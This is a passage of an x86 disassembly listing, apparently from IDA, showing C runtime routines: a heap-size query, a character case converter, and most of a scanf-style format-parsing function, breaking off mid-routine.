		call	sub_414579
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_418A0F
		mov	ecx, 2


loc_418A0F:				; CODE XREF: sub_4189D0+38j
		push	ecx
		call	sub_414579
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4189D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A1C	proc near		; CODE XREF: sub_41826A:loc_41840Cj
					; sub_4185B4:loc_4185C5j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041BDFF SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F838
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_7422A8
		test	eax, eax
		jz	short loc_418A64
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_418A60
; ---------------------------------------------------------------------------


loc_418A59:				; DATA XREF: seg001:0041F848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418A5D:				; DATA XREF: seg001:0041F84Co
		mov	esp, [ebp+var_18]


loc_418A60:				; CODE XREF: sub_418A1C+3Bj
		and	[ebp+var_4], 0


loc_418A64:				; CODE XREF: sub_418A1C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_418A6D:				; DATA XREF: seg001:0041F840o
		jmp	loc_41BDFF
sub_418A1C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A72	proc near		; CODE XREF: sub_41442F+23p
					; sub_41442F:loc_41449Ap ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F850
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_437B14
		test	eax, eax
		jz	short loc_418ABA
		mov	[ebp+var_4], 1
		call	eax ; sub_418A1C
		jmp	short loc_418AB6
; ---------------------------------------------------------------------------


loc_418AAF:				; DATA XREF: seg001:0041F860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418AB3:				; DATA XREF: seg001:0041F864o
		mov	esp, [ebp+var_18]


loc_418AB6:				; CODE XREF: sub_418A72+3Bj
		and	[ebp+var_4], 0


loc_418ABA:				; CODE XREF: sub_418A72+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5
		jmp	sub_418A1C
sub_418A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_418AC8	proc near		; CODE XREF: sub_414913+7p
					; sub_414913+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_416979
		test	eax, eax
		pop	ecx
		jz	short loc_418AE0
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_418AE0:				; CODE XREF: sub_418AC8+Ej
		push	esi
		push	0
		push	dword_743880
		call	dword_41F180	; RtlSizeHeap
		pop	esi
		retn
sub_418AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_414B02+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_7422B4, 0
		push	ebx
		jnz	short loc_418B1C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_418BBA
		cmp	eax, 7Ah
		jg	loc_418BBA
		sub	eax, 20h
		jmp	loc_418BBA
; ---------------------------------------------------------------------------


loc_418B1C:				; CODE XREF: sub_418AF1+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_418B4F
		cmp	dword_4379BC, 1
		jle	short loc_418B3C
		push	2
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418B47
; ---------------------------------------------------------------------------


loc_418B3C:				; CODE XREF: sub_418AF1+3Dj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_418B47:				; CODE XREF: sub_418AF1+49j
		test	eax, eax
		jnz	short loc_418B4F


loc_418B4B:				; CODE XREF: sub_418AF1+AFj
		mov	eax, ebx
		jmp	short loc_418BBA
; ---------------------------------------------------------------------------


loc_418B4F:				; CODE XREF: sub_418AF1+34j
					; sub_418AF1+58j
		mov	edx, off_4377B0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418B72
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_418B7B
; ---------------------------------------------------------------------------


loc_418B72:				; CODE XREF: sub_418AF1+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_418B7B:				; CODE XREF: sub_418AF1+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_7422B4
		call	sub_419FC4
		add	esp, 20h
		test	eax, eax
		jz	short loc_418B4B
		cmp	eax, 1
		jnz	short loc_418BAD
		movzx	eax, [ebp+var_4]
		jmp	short loc_418BBA
; ---------------------------------------------------------------------------


loc_418BAD:				; CODE XREF: sub_418AF1+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_418BBA:				; CODE XREF: sub_418AF1+14j
					; sub_418AF1+1Dj ...
		pop	ebx
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBD	proc near		; CODE XREF: sub_414D21+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4195C3
		mov	edi, [ebp+arg_0]
		jmp	short loc_418BEC
; ---------------------------------------------------------------------------


loc_418BE7:				; CODE XREF: sub_418BBD+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_418BEC:				; CODE XREF: sub_418BBD+28j
		cmp	dword_4379BC, 1
		jle	short loc_418C04
		movzx	eax, al
		push	8
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418C13
; ---------------------------------------------------------------------------


loc_418C04:				; CODE XREF: sub_418BBD+36j
		mov	ecx, off_4377B0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418C13:				; CODE XREF: sub_418BBD+45j
		cmp	eax, ebx
		jz	short loc_418C4D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41964A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_419633
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41BEDE
		add	esp, 0Ch


loc_418C3B:				; CODE XREF: sub_418BBD+8Ej
		test	eax, eax
		jz	short loc_418C4D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41BEDE
		pop	ecx
		jmp	short loc_418C3B
; ---------------------------------------------------------------------------


loc_418C4D:				; CODE XREF: sub_418BBD+58j
					; sub_418BBD+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41952F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_418C84:				; CODE XREF: sub_418BBD+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_4379BC, 1
		jle	short loc_418CA1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418CB0
; ---------------------------------------------------------------------------


loc_418CA1:				; CODE XREF: sub_418BBD+D3j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_418CB0:				; CODE XREF: sub_418BBD+E2j
		test	eax, eax
		jz	short loc_418CC6
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418CC6:				; CODE XREF: sub_418BBD+F5j
		cmp	ebx, 4Eh
		jg	short loc_418D09
		jz	short loc_418D2B
		cmp	ebx, 2Ah
		jz	short loc_418D04
		cmp	ebx, 46h
		jz	short loc_418D2B
		cmp	ebx, 49h
		jz	short loc_418CE6
		cmp	ebx, 4Ch
		jnz	short loc_418D18
		inc	[ebp+var_D]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418CE6:				; CODE XREF: sub_418BBD+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_418D18
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_418D18
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D04:				; CODE XREF: sub_418BBD+113j
		inc	[ebp+var_E]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D09:				; CODE XREF: sub_418BBD+10Cj
		cmp	ebx, 68h
		jz	short loc_418D25
		cmp	ebx, 6Ch
		jz	short loc_418D1D
		cmp	ebx, 77h
		jz	short loc_418D20


loc_418D18:				; CODE XREF: sub_418BBD+122j
					; sub_418BBD+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D1D:				; CODE XREF: sub_418BBD+154j
		inc	[ebp+var_D]


loc_418D20:				; CODE XREF: sub_418BBD+159j
		inc	[ebp+var_5]
		jmp	short loc_418D2B
; ---------------------------------------------------------------------------


loc_418D25:				; CODE XREF: sub_418BBD+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_418D2B:				; CODE XREF: sub_418BBD+107j
					; sub_418BBD+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_418C84
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_418D50
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_418D50:				; CODE XREF: sub_418BBD+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_418D6E
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_418D6A
		cmp	al, 43h
		jz	short loc_418D6A
		or	[ebp+var_5], 0FFh
		jmp	short loc_418D6E
; ---------------------------------------------------------------------------


loc_418D6A:				; CODE XREF: sub_418BBD+1A1j
					; sub_418BBD+1A5j
		mov	[ebp+var_5], 1


loc_418D6E:				; CODE XREF: sub_418BBD+19Bj
					; sub_418BBD+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_418DA7
		cmp	esi, 63h
		jz	short loc_418D98
		cmp	esi, 7Bh
		jz	short loc_418D98
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41964A
		pop	ecx
		jmp	short loc_418DA3
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418BBD+1C5j
					; sub_418BBD+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619


loc_418DA3:				; CODE XREF: sub_418BBD+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_418DA7:				; CODE XREF: sub_418BBD+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_418DB7
		cmp	[ebp+var_C], eax
		jz	loc_419593


loc_418DB7:				; CODE XREF: sub_418BBD+1EFj
		cmp	esi, 6Fh
		jg	loc_41901E
		jz	loc_4192D0
		cmp	esi, 63h
		jz	loc_418FFB
		cmp	esi, 64h
		jz	loc_4192D0
		jle	loc_419048
		cmp	esi, 67h
		jle	short loc_418E1B
		cmp	esi, 69h
		jz	short loc_418E03
		cmp	esi, 6Eh
		jnz	loc_419048
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4194FE
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_418E03:				; CODE XREF: sub_418BBD+229j
		push	64h
		pop	esi


loc_418E06:				; CODE XREF: sub_418BBD+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_419090
		mov	[ebp+var_17], 1
		jmp	loc_419095
; ---------------------------------------------------------------------------


loc_418E1B:				; CODE XREF: sub_418BBD+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_418E37
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_418E3C
; ---------------------------------------------------------------------------


loc_418E37:				; CODE XREF: sub_418BBD+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_418E53


loc_418E3C:				; CODE XREF: sub_418BBD+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418E56
; ---------------------------------------------------------------------------


loc_418E53:				; CODE XREF: sub_418BBD+27Dj
		mov	edi, [ebp+arg_0]


loc_418E56:				; CODE XREF: sub_418BBD+294j
		cmp	[ebp+var_20], 0
		jz	short loc_418E65
		cmp	[ebp+var_C], 15Dh
		jle	short loc_418E6C


loc_418E65:				; CODE XREF: sub_418BBD+29Dj
		mov	[ebp+var_C], 15Dh


loc_418E6C:				; CODE XREF: sub_418BBD+2A6j
					; sub_418BBD+2F2j
		cmp	dword_4379BC, 1
		jle	short loc_418E81
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418E8C
; ---------------------------------------------------------------------------


loc_418E81:				; CODE XREF: sub_418BBD+2B6j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418E8C:				; CODE XREF: sub_418BBD+2C2j
		test	eax, eax
		jz	short loc_418EB1
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418EB1
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418E6C
; ---------------------------------------------------------------------------


loc_418EB1:				; CODE XREF: sub_418BBD+2D1j
					; sub_418BBD+2DBj
		cmp	byte_4379C0, bl
		jnz	short loc_418F1F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418F1F
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		mov	al, byte_4379C0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_418EDA:				; CODE XREF: sub_418BBD+360j
		cmp	dword_4379BC, 1
		jle	short loc_418EEF
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418EFA
; ---------------------------------------------------------------------------


loc_418EEF:				; CODE XREF: sub_418BBD+324j
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418EFA:				; CODE XREF: sub_418BBD+330j
		test	eax, eax
		jz	short loc_418F1F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418F1F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_418EDA
; ---------------------------------------------------------------------------


loc_418F1F:				; CODE XREF: sub_418BBD+2FAj
					; sub_418BBD+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_418FB7
		cmp	ebx, 65h
		jz	short loc_418F37
		cmp	ebx, 45h
		jnz	loc_418FB7


loc_418F37:				; CODE XREF: sub_418BBD+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418FB7
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_418F5E
		mov	[esi], al
		inc	esi
		jmp	short loc_418F63
; ---------------------------------------------------------------------------


loc_418F5E:				; CODE XREF: sub_418BBD+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_418F81


loc_418F63:				; CODE XREF: sub_418BBD+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_418F72
		and	[ebp+var_C], eax
		jmp	short loc_418F81
; ---------------------------------------------------------------------------


loc_418F72:				; CODE XREF: sub_418BBD+3AEj
					; sub_418BBD+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_418F81:				; CODE XREF: sub_418BBD+3A4j
					; sub_418BBD+3B3j
		cmp	dword_4379BC, 1
		jle	short loc_418F96
		push	4
		push	ebx
		call	sub_41686F
		pop	ecx
		pop	ecx
		jmp	short loc_418FA1
; ---------------------------------------------------------------------------


loc_418F96:				; CODE XREF: sub_418BBD+3CBj
		mov	eax, off_4377B0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_418FA1:				; CODE XREF: sub_418BBD+3D7j
		test	eax, eax
		jz	short loc_418FB7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_418FB7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_418F72
; ---------------------------------------------------------------------------


loc_418FB7:				; CODE XREF: sub_418BBD+366j
					; sub_418BBD+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419633
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_437AF0
		add	esp, 0Ch
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_418FFB:				; CODE XREF: sub_418BBD+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41900A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41900A:				; CODE XREF: sub_418BBD+441j
		cmp	[ebp+var_5], 0
		jle	short loc_419014
		mov	[ebp+var_16], 1


loc_419014:				; CODE XREF: sub_418BBD+451j
		mov	edi, offset dword_437B20
		jmp	loc_419129
; ---------------------------------------------------------------------------


loc_41901E:				; CODE XREF: sub_418BBD+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4192CC
		sub	eax, 3
		jz	loc_41911A
		dec	eax
		dec	eax
		jz	loc_4192D0
		sub	eax, 3
		jz	loc_418E06
		sub	eax, 3
		jz	short loc_41906C


loc_419048:				; CODE XREF: sub_418BBD+21Bj
					; sub_418BBD+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_419593
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_41906C:				; CODE XREF: sub_418BBD+489j
		cmp	[ebp+var_5], 0
		jle	short loc_419076
		mov	[ebp+var_16], 1


loc_419076:				; CODE XREF: sub_418BBD+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41912D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_419129
; ---------------------------------------------------------------------------


loc_419090:				; CODE XREF: sub_418BBD+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4190B7


loc_419095:				; CODE XREF: sub_418BBD+259j
		dec	[ebp+var_C]
		jnz	short loc_4190A6
		cmp	[ebp+var_20], 0
		jz	short loc_4190A6
		mov	[ebp+var_F], 1
		jmp	short loc_4190B7
; ---------------------------------------------------------------------------


loc_4190A6:				; CODE XREF: sub_418BBD+4DBj
					; sub_418BBD+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4190B7:				; CODE XREF: sub_418BBD+4D6j
					; sub_418BBD+4E7j
		cmp	ebx, 30h
		jnz	loc_419305
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_419105
		cmp	bl, 58h
		jz	short loc_419105
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4190EF
		push	6Fh


loc_4190E9:				; CODE XREF: sub_418BBD+55Bj
		pop	esi
		jmp	loc_419305
; ---------------------------------------------------------------------------


loc_4190EF:				; CODE XREF: sub_418BBD+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419633
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_419302
; ---------------------------------------------------------------------------


loc_419105:				; CODE XREF: sub_418BBD+517j
					; sub_418BBD+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419619
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4190E9
; ---------------------------------------------------------------------------


loc_41911A:				; CODE XREF: sub_418BBD+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_419124
		mov	[ebp+var_16], 1


loc_419124:				; CODE XREF: sub_418BBD+561j
		mov	edi, offset dword_437B18


loc_419129:				; CODE XREF: sub_418BBD+45Cj
					; sub_418BBD+4CEj
		or	[ebp+var_18], 0FFh


loc_41912D:				; CODE XREF: sub_418BBD+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_419151
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_419151
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_419151:				; CODE XREF: sub_418BBD+584j
					; sub_418BBD+589j
		mov	dl, [ebp+var_35]


loc_419154:				; CODE XREF: sub_418BBD+592j
					; sub_418BBD+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4191B9
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_4191A0
		test	dl, dl
		jz	short loc_4191A0
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_4191A0
		inc	edi
		cmp	dl, cl
		jnb	short loc_419173
		mov	al, cl
		jmp	short loc_419177
; ---------------------------------------------------------------------------


loc_419173:				; CODE XREF: sub_418BBD+5B0j
		mov	al, dl
		mov	dl, cl


loc_419177:				; CODE XREF: sub_418BBD+5B4j
		cmp	dl, al
		ja	short loc_41919C
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_419184:				; CODE XREF: sub_418BBD+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_419184


loc_41919C:				; CODE XREF: sub_418BBD+5BCj
		xor	dl, dl
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_4191A0:				; CODE XREF: sub_418BBD+5A0j
					; sub_418BBD+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_419154
; ---------------------------------------------------------------------------


loc_4191B9:				; CODE XREF: sub_418BBD+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4195C3
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4191CB
		mov	[ebp+arg_4], edi


loc_4191CB:				; CODE XREF: sub_418BBD+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_419633
		pop	ecx
		pop	ecx


loc_4191E2:				; CODE XREF: sub_418BBD+6BCj
					; sub_418BBD+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4191F6
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_419292


loc_4191F6:				; CODE XREF: sub_418BBD+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_419286
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_419286
		cmp	[ebp+var_E], 0
		jnz	short loc_41927E
		cmp	[ebp+var_16], 0
		jz	short loc_419273
		mov	ecx, off_4377B0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419252
		inc	[ebp+var_4]
		push	edi
		call	sub_419619
		pop	ecx
		mov	[ebp+var_37], al


loc_419252:				; CODE XREF: sub_418BBD+686j
		push	dword_4379BC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41BE16
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_419276
; ---------------------------------------------------------------------------


loc_419273:				; CODE XREF: sub_418BBD+673j
		mov	[esi], al
		inc	esi


loc_419276:				; CODE XREF: sub_418BBD+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4191E2
; ---------------------------------------------------------------------------


loc_41927E:				; CODE XREF: sub_418BBD+66Dj
		inc	[ebp+var_30]
		jmp	loc_4191E2
; ---------------------------------------------------------------------------


loc_419286:				; CODE XREF: sub_418BBD+649j
					; sub_418BBD+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_419633
		pop	ecx
		pop	ecx


loc_419292:				; CODE XREF: sub_418BBD+633j
		cmp	[ebp+var_30], esi
		jz	loc_4195C3
		cmp	[ebp+var_E], 0
		jnz	loc_419524
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_419524
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4192C4
		and	word ptr [eax],	0
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_4192C4:				; CODE XREF: sub_418BBD+6FCj
		and	byte ptr [eax],	0
		jmp	loc_419524
; ---------------------------------------------------------------------------


loc_4192CC:				; CODE XREF: sub_418BBD+466j
		mov	[ebp+var_D], 1


loc_4192D0:				; CODE XREF: sub_418BBD+203j
					; sub_418BBD+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4192DE
		mov	[ebp+var_17], 1
		jmp	short loc_4192E3
; ---------------------------------------------------------------------------


